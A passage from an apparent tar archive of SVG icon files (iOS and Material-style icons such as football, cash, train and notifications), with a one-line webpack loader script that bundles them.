43.4c-1.8 1.1-3.6 2.4-5.1 3.9-9.6 9.6-9.6 25.1 0 34.6 9.6 9.6 25.1 9.6 34.6 0 1.3-1.3 2.4-2.7 3.4-4.2l45-61.6c3-5 2.5-11.2-1.7-15.3-4.6-4.5-11.8-4.8-16.6-.8zM358.7 138.7c0-57.6-72.4-90.7-96-90.7 12 80.8-101.7 113-112 181.3-10.3 68.3 48 90.7 48 90.7 16.3-56.6 72.4-75.6 109.7-99.8 40.7-26.4 50.3-51.3 50.3-81.5zM358.7 259.6c5-14.7 1.9-49.3-3-63.4-9 17.5-26.3 32.4-47.2 46-8.6 5.6-20.9 10.8-29.8 15.9-18.7 10.5-34 20.6-46.3 34.4 11.3 16.4 31.3 27.7 46.3 27.7 36-.2 64-13.7 80-60.6z"/><path d="M161.8 171.9c11.7-15.1 24.9-23.8 38.2-36.2 13.4-12.5 22.1-21.2 27.5-31.3-10.7-20.1-30.8-28.1-44.7-26.1 2.3 28.6-30 44-32 64.8-1.3 12.6 5.4 25 11 28.8z"/></svg>collection/icon/svg/md-football.svg000064400000001201151701353760013351 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.3 48 48 141.3 48 256s93.3 208 208 208 208-93.3 208-208S370.7 48 256 48zM127 238.2l39.2 17.9 17.1 66.9-15.6 29.3-57.2-.7C95.6 329 86.2 303.1 83 276.3l44-38.1zm217.3 114.1L328.7 323l17.1-67 39.1-17.8 44 38.1c-3.1 26.8-12.6 52.7-27.5 75.3l-57.1.7zm32.4-146.2l-43.6 19.6-61.1-51.6v-47.2l47.9-32.6c29.8 11.9 56.4 32.3 75.6 57.8l-18.8 54zM191.3 94.4l47.7 32.5v47.2l-61 51.5-43-19.6-18.7-53.6c19.3-26.1 45.1-46 75-58zM218.4 426c-.7-.2-1.3-.3-2-.5l-20.5-55.1 14.7-29.4h90.8l15 30.3-19.8 53.9c-1 .2-2 .5-3 .7-11.5 2.3-27 3.8-40.4 4.1-11.7-.1-23.4-1.5-34.8-4z"/></svg>collection/icon/svg/ios-male.svg000064400000001517151701353760012671 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.4 48H341.5c-7.5 0-13.6 6.1-13.6 13.6s6.1 13.6 13.6 13.6h75.4L326.7 166c-30.6-26-69.3-40.3-109.6-40.3-22.8 0-45 4.5-65.8 13.3-20.1 8.5-38.2 20.7-53.8 36.2C82 190.8 69.8 208.9 61.3 229 52.5 249.9 48 272 48 294.9s4.5 45 13.3 65.8c8.5 20.1 20.7 38.2 36.2 53.8 15.5 15.5 33.6 27.7 53.8 36.2 20.9 8.8 43 13.3 65.8 13.3 22.8 0 45-4.5 65.8-13.3 20.1-8.5 38.2-20.7 53.8-36.2 15.5-15.5 27.7-33.6 36.2-53.8 8.8-20.9 13.3-43 13.3-65.8 0-40.3-14.3-79-40.3-109.6L436.7 95v75.4c0 7.5 6.1 13.6 13.6 13.6s13.6-6.1 13.6-13.6V61.6c.1-7.5-6-13.6-13.5-13.6zM359 294.9c0 37.9-14.8 73.5-41.6 100.3-26.8 26.8-62.4 41.6-100.3 41.6s-73.5-14.8-100.3-41.6C90 368.4 75.2 332.8 75.2 294.9s14.8-73.5 41.6-100.3c26.8-26.8 62.4-41.6 100.3-41.6s73.5 14.8 100.3 41.6C344.3 221.3 359 257 359 294.9z"/></svg>collection/icon/svg/ios-star-outline.svg000064400000001510151701353760014372 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M463 192H315.9L271.2 58.6C269 52.1 262.9 48 256 48s-13 4.1-15.2 10.6L196.1 192H48c-8.8 0-16 7.2-16 16 0 .9.1 1.9.3 2.7.2 3.5 1.8 7.4 6.7 11.3l120.9 85.2-46.4 134.9c-2.3 6.5 0 13.8 5.5 18 2.9 2.1 5.6 3.9 9 3.9 3.3 0 7.2-1.7 10-3.6l118-84.1 118 84.1c2.8 2 6.7 3.6 10 3.6 3.4 0 6.1-1.7 8.9-3.9 5.6-4.2 7.8-11.4 5.5-18L352 307.2l119.9-86 2.9-2.5c2.6-2.8 5.2-6.6 5.2-10.7 0-8.8-8.2-16-17-16zm-127.2 92.5c-10 7.2-14.2 20.2-10.2 31.8l30.1 87.7c1.3 3.7-2.9 6.8-6.1 4.6l-77.4-55.2c-4.9-3.5-10.6-5.2-16.3-5.2-5.7 0-11.4 1.7-16.2 5.2l-77.4 55.1c-3.2 2.3-7.4-.9-6.1-4.6l30.1-87.7c4-11.8-.2-24.8-10.3-32l-81-57.1c-3.2-2.2-1.6-7.3 2.3-7.3H196c12 0 22.7-7.7 26.5-19.1l29.6-88.2c1.2-3.6 6.4-3.6 7.6 0l29.6 88.2c3.8 11.4 14.5 19.1 26.5 19.1h97.3c3.9 0 5.5 5 2.3 7.2l-79.6 57.5z"/></svg>collection/icon/svg/md-briefcase.svg000064400000000365151701353760013504 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 144v-39.6C352 82 334 64 311.6 64H200.4C178 64 160 82 160 104.4V144H48v263.6C48 430 66 448 88.4 448h335.2c22.4 0 40.4-18 40.4-40.4V144H352zm-40 0H200v-40h112v40z"/></svg>collection/icon/svg/ios-cash.svg000064400000001463151701353760012671 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M466 355.9H46c-7.7 0-14 6.3-14 14s6.3 14 14 14h420c7.7 0 14-6.3 14-14s-6.3-14-14-14zM466 403.9H46c-7.7 0-14 6.3-14 14s6.3 14 14 14h420c7.7 0 14-6.3 14-14s-6.3-14-14-14zM444.9 80.1H67.1C47.8 80.1 32 95.9 32 115.2V293c0 19.3 15.8 35.1 35.1 35.1h377.8c19.3 0 35.1-15.8 35.1-35.1V115.2c0-19.3-15.8-35.1-35.1-35.1zM114 296.1H78c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-156H78c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14zm142 144c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm178 12h-36c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-156h-36c-7.7 0-14-6.3-14-14s6.3-14 14-14h36c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/><circle cx="256" cy="206" r="53"/></svg>collection/icon/svg/ios-checkmark-circle-outline.svg000064400000001127151701353760016614 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M362.6 192.9L345 174.8c-.7-.8-1.8-1.2-2.8-1.2-1.1 0-2.1.4-2.8 1.2l-122 122.9-44.4-44.4c-.8-.8-1.8-1.2-2.8-1.2-1 0-2 .4-2.8 1.2l-17.8 17.8c-1.6 1.6-1.6 4.1 0 5.7l56 56c3.6 3.6 8 5.7 11.7 5.7 5.3 0 9.9-3.9 11.6-5.5h.1l133.7-134.4c1.4-1.7 1.4-4.2-.1-5.7z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>collection/icon/svg/md-disc.svg000064400000000541151701353760012477 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.2 48 48 141.2 48 256s93.2 208 208 208 208-93.2 208-208S370.8 48 256 48zm0 301.6c-51.8 0-93.6-41.8-93.6-93.6s41.8-93.6 93.6-93.6 93.6 41.8 93.6 93.6-41.8 93.6-93.6 93.6zm0-114.4c-11.4 0-20.8 9.4-20.8 20.8s9.4 20.8 20.8 20.8 20.8-9.4 20.8-20.8-9.4-20.8-20.8-20.8z"/></svg>collection/icon/svg/ios-log-out.svg000064400000001211151701353760013330 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M312 372c-7.7 0-14 6.3-14 14 0 9.9-8.1 18-18 18H94c-9.9 0-18-8.1-18-18V126c0-9.9 8.1-18 18-18h186c9.9 0 18 8.1 18 18 0 7.7 6.3 14 14 14s14-6.3 14-14c0-25.4-20.6-46-46-46H94c-25.4 0-46 20.6-46 46v260c0 25.4 20.6 46 46 46h186c25.4 0 46-20.6 46-46 0-7.7-6.3-14-14-14z"/><path d="M372.9 158.1c-2.6-2.6-6.1-4.1-9.9-4.1-3.7 0-7.3 1.4-9.9 4.1-5.5 5.5-5.5 14.3 0 19.8l65.2 64.2H162c-7.7 0-14 6.3-14 14s6.3 14 14 14h256.6L355 334.2c-5.4 5.4-5.4 14.3 0 19.8l.1.1c2.7 2.5 6.2 3.9 9.8 3.9 3.8 0 7.3-1.4 9.9-4.1l82.6-82.4c4.3-4.3 6.5-9.3 6.5-14.7 0-5.3-2.3-10.3-6.5-14.5l-84.5-84.2z"/></svg>collection/icon/svg/ios-clipboard.svg000064400000001757151701353760013720 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M140.5 160v240c0 8.8 7.2 16 16 16h200c8.8 0 16-7.2 16-16V160c0-8.8-7.2-16-16-16h-200c-8.8 0-16 7.2-16 16zM321.5 81h-17c0-5.6-1-11-2.7-16-2.1-6-5.3-11.4-9.4-16-8.8-9.9-21.6-17-35.9-17s-27.1 7.1-35.9 17c-4.1 4.6-7.3 10-9.4 16-1.7 5-2.7 10.4-2.7 16H194c-9.6 0-17.5 7.9-17.5 17.5V114c0 1.1.9 2 2 2h156c1.1 0 2-.9 2-2V96c0-8.3-6.7-15-15-15zm-62.9 15.5c-10.5 1.3-19.3-7.5-17.9-17.9.9-7.1 6.7-12.9 13.8-13.8 10.5-1.3 19.3 7.5 17.9 17.9-.9 7.2-6.7 12.9-13.8 13.8z"/><path d="M400 48h-75.2c-1.7 0-2.6 1.9-1.6 3.2 2.9 3.9 5.3 8.1 7 12.8.3.8 1 1.3 1.9 1.3h.5c18.7 0 26.9 14.9 27.5 33.5V114c0 1.1.9 2 2 2h20.3c8.8 0 16 7.2 16 16v297.4c0 8.8-7.2 16-16 16h-253c-8.8 0-16-7.2-16-16V132c0-8.8 7.2-16 16-16h21.3c1.1 0 2-.9 2-2v-8.8c0-19.1 5.6-36.7 27.6-36.7h.3c.9 0 1.8-.6 1.9-1.6 1.5-6.9 4.1-11.7 7.2-15.8 1-1.3.1-3.2-1.6-3.2l-76.3-.1C94.3 47.9 80 62.1 80 79.7V424c0 41.7 14.3 56 32 56h288.5c17.4 0 31.5-14.1 31.5-31.5V80c0-17.7-14.3-32-32-32z"/></svg>collection/icon/svg/md-flask.svg000064400000000431151701353760012653 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M436.9 354.4L336 192V96h32V48H144v48h32v96L76.1 354.4C67.7 370.3 63.6 385.8 64 400c1.1 36.5 28.7 64 65.1 64H385c36.3 0 62.1-27.6 63-64 .3-14.2-2.6-29.7-11.1-45.6zM155.1 304l29.5-48h143.1l29.8 48H155.1z"/></svg>collection/icon/svg/index.js000064400000000131151701353760012076 0ustar00
require.context('!!file-loader?name=[name].[ext]&outputPath=svg!./', false, /.svg$/);
collection/icon/svg/ios-nuclear.svg000064400000001225151701353760013400 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm-88.5 364.8l49.2-85.8c1.1-1.9.5-4.2-1.3-5.4-20.2-12.9-34-35-35.2-60.3-.1-2.1-1.8-3.8-4-3.8H76V256c0-48.1 18.7-93.3 52.7-127.3 10.8-10.8 22.7-20 35.4-27.6l50.5 87.9c1.1 1.9 3.5 2.5 5.4 1.5 10.7-5.8 22.9-9 35.9-9 12.5 0 24.4 3.1 34.8 8.5 1.9 1 4.2.3 5.3-1.5l51.1-87.7c13 7.7 25.1 17 36.1 28 34 34 52.7 79.2 52.7 127.3v1.5h-100c-2.1 0-3.9 1.7-4 3.8-1.3 25.4-15 47.5-35.2 60.3-1.8 1.2-2.4 3.5-1.3 5.4l49.2 85.8c-26.7 15.1-57 23.2-88.5 23.2-31.6-.1-61.9-8.2-88.6-23.3z"/><circle cx="256" cy="256" r="56"/></svg>collection/icon/svg/ios-remove.svg000064400000000311151701353760013237 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M368.5 240h-225c-8.8 0-16 7.2-16 16 0 4.4 1.8 8.4 4.7 11.3 2.9 2.9 6.9 4.7 11.3 4.7h225c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/></svg>collection/icon/svg/ios-share-alt.svg000064400000000553151701353760013632 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M444.7 230.4l-141.1-132c-1.7-1.6-3.3-2.5-5.6-2.4-4.4.2-10 3.3-10 8v66.2c0 2-1.6 3.8-3.6 4.1C144.1 195.8 85 300.8 64.1 409.8c-.8 4.3 5 8.3 7.7 4.9 51.2-64.5 113.5-106.6 212-107.4 2.2 0 4.2 2.6 4.2 4.8v65c0 7 9.3 10.1 14.5 5.3l142.1-134.3c2.6-2.4 3.4-5.2 3.5-8.4-.1-3.2-.9-6.9-3.4-9.3z"/></svg>collection/icon/svg/md-train.svg000064400000000733151701353760012675 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c-88 0-176 10.9-176 87.6v208c0 42.3 34.5 76.6 77 76.6L124 453v11h49.1l44-43.8H300l44 43.8h44v-10.9l-33-32.8c42.5 0 77-34.4 77-76.6v-208C432 58.9 353.2 48 256 48zm-99 328.4c-18.3 0-33-14.7-33-32.8s14.7-32.8 33-32.8 33 14.7 33 32.8-14.7 32.8-33 32.8zm77-153.2H124v-87.6h110v87.6zm44 0v-87.6h110v87.6H278zm77 153.2c-18.3 0-33-14.7-33-32.8s14.7-32.8 33-32.8 33 14.7 33 32.8-14.7 32.8-33 32.8z"/></svg>collection/icon/svg/ios-walk.svg000064400000001531151701353760012705 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M201.1 361.2l-67.8 48.9c-3.7 3.6-5.2 9.1-5.3 13.9-.1 4.8 1.2 8.8 4.7 12.5 3.6 3.9 8.8 6.2 13.6 6.2 4.5 0 12.5-4.9 16-8.4l69.7-51.6c3.6-3.5 5.7-8.4 5.7-13.5l9.1-52.5-45.7-46.7v91.2z"/><ellipse transform="rotate(-80.781 274.673 69.329)" cx="274.7" cy="69.3" rx="37.3" ry="37.3"/><path d="M350.7 459.2l-15.2-117.4c-.5-3.5-1.9-6.8-4.2-9.5l-57-68.8V143.9c0-11.3-6.3-15.9-18.3-15.9h-37c-2.8 0-5.2 1-7.7 2.3l-68 31.7c-10 5.3-15.3 15.4-15.3 28.7V256c0 10.3 8.2 18.7 18.3 18.7 10.1 0 18.3-8.4 18.3-18.7v-58.2c0-3 1.7-5.8 4.4-7.1l32.2-16.4v75.3c0 4.2 1.6 8.2 4.6 11.2l92.4 94.4c1.2 1.2 2 2.8 2.2 4.5l14.2 104.7c1.3 9.3 9.1 15.7 18.1 15.7h2c9.9-1.5 17.4-10.7 16-20.9z"/><path d="M378.4 232.4l-95-96.2v52.6l69.2 70.1c7.2 7.3 18.7 7.2 25.9-.1 3.5-3.6 5.5-7.5 5.5-12.2 0-4.8-2-10.5-5.6-14.2z"/></svg>collection/icon/svg/ios-today.svg000064400000000765151701353760013077 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M388 32H124c-33.1 0-60 26.9-60 60v328c0 33.1 26.9 60 60 60h264c33.1 0 60-26.9 60-60V92c0-33.1-26.9-60-60-60zm32 388c0 17.6-14.4 32-32 32H124c-17.6 0-32-14.4-32-32V92c0-17.6 14.4-32 32-32h264c17.6 0 32 14.4 32 32v328z"/><path d="M360 176H152c-13.2 0-24 10.8-24 24v192c0 13.2 10.8 24 24 24h208c13.2 0 24-10.8 24-24V200c0-13.2-10.8-24-24-24zM142 124h100c7.7 0 14-6.3 14-14s-6.3-14-14-14H142c-7.7 0-14 6.3-14 14s6.3 14 14 14z"/></svg>collection/icon/svg/ios-beer.svg000064400000001656151701353760012674 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M112 162c0-13.3 10.7-24 24-24h229.5c4.9 0 9.6 1.5 13.5 4.4 2 1.5 4.9 0 4.8-2.5-.1-5.7-.2-9.3-.2-21.6 0-20.8-17.2-38.3-38.1-38.3h-.2c-5.7-.4-10.8-4-12.9-9.3-9-22.6-32.3-38.6-56.4-38.6-21 0-34.2 7-44 18.3-4.4 5-11.8 5.9-17.4 2.4-7.3-4.6-16.1-7.1-25.5-7.1-14.4 0-27.2 7.1-35.8 17.4-4 4.9-10.4 7-16.6 5.9-5.2-1-12.6-1.8-22.7-1.8-25 0-50 16.6-50 42.4v4c0 28.8 16 22.9 16 41.8v50.8c0 13.4-11.2 19.3-11.2 35.2 0 8.8 8 16.8 16.8 16.8H112V162zM386 452H110c-7.7 0-14 6.3-14 14s6.3 14 14 14h276c7.7 0 14-6.3 14-14s-6.3-14-14-14z"/><path d="M400 194h-32v-24c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v213.8c0 12.1-1.1 18.2-3.2 30.1l-.1.5c-.8 4.7.2 9.5 2.8 13.5 3.4 5.1 9.1 8.2 15.3 8.2h213.9c4.1 0 8.1-1.4 11.1-4.1 4.7-4.1 6.5-10.3 5.2-16-2.7-11.8-4.5-17.8-4.8-29.9H400c26.4 0 48-21.6 48-48v-96c0-26.5-21.6-48.1-48-48.1zm20 144c0 11-9 20-20 20h-32V222h32c11 0 20 9 20 20v96z"/></svg>collection/icon/svg/ios-desktop.svg000064400000001153151701353760013420 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 442.2c-.3-2.2-2-3.9-4.2-4.3l-22.3-1.9c-11.8-3.1-20.5-16.2-22.3-28.3L302 400h-92l-1.2 7.6c-1.9 12.1-10.5 25.2-22.3 28.3l-22.3 1.9c-2.1.5-3.9 2.2-4.2 4.3-.4 3.1 2 5.8 5.1 5.8h181.8c3 .1 5.5-2.6 5.1-5.7zM472.9 71c-4.5-4.5-10.7-7-17-7H56.2c-6.4 0-12.5 2.5-17 7S32 81.7 32 88v272c0 6.4 2.7 12.5 7.2 17s10.5 7 16.8 7h400c6.4 0 12.3-2.5 16.8-7s7.2-10.7 7.2-17V88c.1-6.3-2.6-12.5-7.1-17zM256 360c-4.4 0-8-3.6-8-8s3.6-8 8-8 8 3.6 8 8-3.6 8-8 8zm203.9-40H52.2c-2.2 0-4-1.8-4-4V92c0-6.6 5.4-12 12-12h391.7c6.6 0 12 5.4 12 12v224c0 2.2-1.8 4-4 4z"/></svg>collection/icon/svg/ios-color-palette.svg000064400000001340151701353760014517 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M430.1 347.9c-6.6-6.1-16.3-7.6-24.6-9-11.5-1.9-15.9-4-22.6-10-14.3-12.7-14.3-31.1 0-43.8l30.3-26.9c46.4-41 46.4-108.2 0-149.2-34.2-30.1-80.1-45-127.8-45-55.7 0-113.9 20.3-158.8 60.1-83.5 73.8-83.5 194.7 0 268.5 41.5 36.7 97.5 55 152.9 55.4h1.7c55.4 0 110-17.9 148.8-52.4 14.4-12.7 12-36.6.1-47.7zM120 216c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm40 126c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-161c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm72 219c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm24-208c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg>collection/icon/svg/md-battery-charging.svg000064400000000436151701353760015012 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M338.2 76.8h-37.4V32h-89.6v44.8h-37.4c-16.4 0-29.8 13.4-29.8 29.8V450c0 16.6 13.4 30 29.8 30H338c16.6 0 30-13.4 30-29.8V106.6c0-16.4-13.4-29.8-29.8-29.8zM233.6 435.2V312h-44.8l89.6-168v123.2h44.8l-89.6 168z"/></svg>collection/icon/svg/ios-pricetags.svg000064400000001042151701353760013725 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.3 32H285.1c-3.7 0-7.2 1.5-9.8 4.1L40.1 272.2c-10.8 10.8-10.8 28.4 0 39.2l111.5 112.5C162.4 434.7 179 440 195 426l231.9-232.3c2.6-2.6 4.1-6.1 4.1-9.8V59.7c0-15.3-12.4-27.7-27.7-27.7zm-45.9 107.5c-19.6 2.1-36-14.4-33.9-33.9 1.5-14.3 13-25.7 27.3-27.3 19.6-2.1 36 14.4 33.9 33.9-1.5 14.3-13 25.8-27.3 27.3z"/><path d="M456 80.3V194c0 3.7-1.5 7.2-4.1 9.8L192.7 463l8.8 8.8c10.8 10.8 28.4 10.8 39.2 0l235.2-236.2c2.6-2.6 4.1-6.1 4.1-9.8V107.7c0-14-10.5-25.6-24-27.4z"/></svg>collection/icon/svg/ios-pint.svg000064400000000703151701353760012721 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M372 175.2c0-19.5-1-81.7-19.3-115.6-4.5-8.2-9.5-11.6-28.7-11.6H188c-19.3 0-24.2 3.4-28.7 11.6-18.3 33.9-19.3 96.5-19.3 116 0 91 36 93.1 36 167.8 0 36.7-16 66.7-16 92.7 0 25.1 6 27.8 29 27.8h134c23 0 29-2.9 29-27.9 0-26-16-55.7-16-92.4 0-74.7 36-77.4 36-168.4zM188 76h136c2.4 0 4.3.1 5.7.2 5.4 11.6 9.4 29.3 11.8 50.8h-171c2.4-21.6 6.5-39.3 11.8-50.8 1.4-.1 3.3-.2 5.7-.2z"/></svg>collection/icon/svg/ios-arrow-dropdown.svg000064400000001077151701353760014740 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M147.6 210.7c-7.5 7.5-7.5 19.8 0 27.3l95.7 95.4c7.3 7.3 19.1 7.5 26.6.6l94.3-94c3.8-3.8 5.7-8.7 5.7-13.7 0-4.9-1.9-9.9-5.6-13.6-7.5-7.5-19.7-7.6-27.3 0l-81 79.8-81.1-81.9c-7.5-7.5-19.7-7.5-27.3.1z"/><path d="M48 256c0 114.9 93.1 208 208 208s208-93.1 208-208S370.9 48 256 48 48 141.1 48 256zm332.4-124.4C413.7 164.8 432 209 432 256s-18.3 91.2-51.6 124.4C347.2 413.7 303 432 256 432s-91.2-18.3-124.4-51.6C98.3 347.2 80 303 80 256s18.3-91.2 51.6-124.4C164.8 98.3 209 80 256 80s91.2 18.3 124.4 51.6z"/></svg>collection/icon/svg/md-git-commit.svg000064400000000447151701353760013633 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 224h-99.8c-14.2-55.2-64.2-96-123.7-96S147 168.8 132.8 224H32v64h100.8c14.2 55.2 64.2 96 123.7 96s109.5-40.8 123.7-96H480v-64zM256.5 336c-44 0-79.8-35.9-79.8-80s35.8-80 79.8-80 79.8 35.9 79.8 80-35.8 80-79.8 80z"/></svg>collection/icon/svg/logo-yen.svg000064400000000333151701353760012707 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 32h-80L256 253.128 144 32H64l112.368 208H128v48h73.564L216 319v17h-88v48h88v96h80v-96h88v-48h-88v-17l14.891-31H384v-48h-48.289L448 32z"/></svg>collection/icon/svg/ios-person-add.svg000064400000002032151701353760014000 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M385.3 386c-15.6-5.5-37.8-6.8-52.1-10-8.2-1.8-20.1-6.3-24.1-11.1-3.5-4.2-2.1-38.4-1.7-47.2.1-1.3.5-2.6 1.1-3.8 2.2-3.6 7.2-12.2 10.3-20 3-7.6 6.2-25 7.6-33.3.4-2.4 1.9-4.5 4-5.6 2.6-1.5 6.1-4.9 7.8-13.4 3.1-15.7 8-21.8 7.4-33.5-.3-5.2-1.7-8-3.2-9.5-2-1.9-2.7-4.8-2-7.4 1.9-7.6 4.7-22.6 5.2-45.6.9-41.1-31.3-81.6-89.5-81.6-59.1 0-90.5 40.5-89.6 81.6.5 23 3.3 38 5.1 45.6.6 2.7-.1 5.5-2 7.4-1.5 1.5-3 4.3-3.2 9.5-.6 11.7 4.3 17.8 7.4 33.5 1.7 8.4 5.2 11.9 7.8 13.4 2.1 1.2 3.6 3.2 4 5.6 1.4 8.3 4.6 25.7 7.6 33.3 3.1 7.8 8.2 16.5 10.3 20 .7 1.1 1.1 2.4 1.1 3.8.4 8.8 1.8 43.1-1.7 47.2-4 4.8-15.9 9.3-24.1 11.1-14.3 3.2-36.5 4.5-52.1 10-14.2 5-55.3 20.5-62.5 52.3-1.1 5 2.7 9.7 7.9 9.7H440c5.1 0 8.9-4.7 7.8-9.7-7.2-31.8-48.3-47.3-62.5-52.3z"/><path d="M437.5 293.5h-27v-27c0-5.8-4.7-10.5-10.5-10.5s-10.5 4.7-10.5 10.5v27h-27c-5.8 0-10.5 4.7-10.5 10.5s4.7 10.5 10.5 10.5h27v27c0 5.8 4.7 10.5 10.5 10.5s10.5-4.7 10.5-10.5v-27h27c5.8 0 10.5-4.7 10.5-10.5s-4.7-10.5-10.5-10.5z"/></svg>collection/icon/svg/ios-heart.svg000064400000000436151701353760013055 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 56h-1c-39.7 0-74.8 21-95 52-20.2-31-55.3-52-95-52h-1c-61.9.6-112 50.9-112 113 0 37 16.2 89.5 47.8 132.7C156 384 256 456 256 456s100-72 160.2-154.3C447.8 258.5 464 206 464 169c0-62.1-50.1-112.4-112-113z"/></svg>collection/icon/svg/ios-mic.svg000064400000000713151701353760012520 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 336c35.2 0 64-28.8 64-64V112c0-35.2-28.8-64-64-64s-64 28.8-64 64v160c0 35.2 28.8 64 64 64z"/><path d="M352 192c-7.7 0-14 6.3-14 14v69c0 45.2-36.8 82-82 82s-82-36.8-82-82v-69c0-7.7-6.3-14-14-14s-14 6.3-14 14v69c0 55.9 41.9 102.2 96 109.1V436h-36c-7.7 0-14 6.3-14 14s6.3 14 14 14h100c7.7 0 14-6.3 14-14s-6.3-14-14-14h-36v-51.9c54.1-6.9 96-53.2 96-109.1v-69c0-7.7-6.3-14-14-14z"/></svg>collection/icon/svg/md-notifications.svg000064400000000577151701353760014437 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 464c22.779 0 41.411-18.719 41.411-41.6h-82.823c0 22.881 18.633 41.6 41.412 41.6zm134.589-124.8V224.8c0-63.44-44.516-117.518-103.53-131.041V79.2c0-17.682-13.457-31.2-31.059-31.2s-31.059 13.518-31.059 31.2v14.559c-59.015 13.523-103.53 67.601-103.53 131.041v114.4L80 380.8v20.8h352v-20.8l-41.411-41.6z"/></svg>collection/icon/svg/ios-stats.svg000064400000000765151701353760013115 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M184 448h48c4.4 0 8-3.6 8-8V72c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v368c0 4.4 3.6 8 8 8zM88 448h48c4.4 0 8-3.6 8-8V296c0-4.4-3.6-8-8-8H88c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8zM280.1 448h47.8c4.5 0 8.1-3.6 8.1-8.1V232.1c0-4.5-3.6-8.1-8.1-8.1h-47.8c-4.5 0-8.1 3.6-8.1 8.1v207.8c0 4.5 3.6 8.1 8.1 8.1zM368 136.1v303.8c0 4.5 3.6 8.1 8.1 8.1h47.8c4.5 0 8.1-3.6 8.1-8.1V136.1c0-4.5-3.6-8.1-8.1-8.1h-47.8c-4.5 0-8.1 3.6-8.1 8.1z"/></svg>collection/icon/svg/md-medical.svg000064400000000330151701353760013147 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M351.9 256L460 193.6l-48-83.2-108 62.4V48h-96v124.8l-108-62.4-48 83.2L160.1 256 52 318.4l48 83.2 108-62.4V464h96V339.2l108 62.4 48-83.2z"/></svg>collection/icon/svg/md-navigate.svg000064400000000216151701353760013352 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64L96 433.062 110.938 448 256 384l145.062 64L416 433.062z"/></svg>collection/icon/svg/md-flash-off.svg000064400000000300151701353760013413 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M459.9 435.5L76.1 52.5 51.9 76.6 160 184.3V272h64v192l72-144 139.9 139.5zM352 208h-64l64-160H160v40.3l168 167.6z"/></svg>collection/icon/svg/md-analytics.svg000064400000001334151701353760013545 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M379.4 178.3l-87.2 133.4C299 320 303 330.5 303 342c0 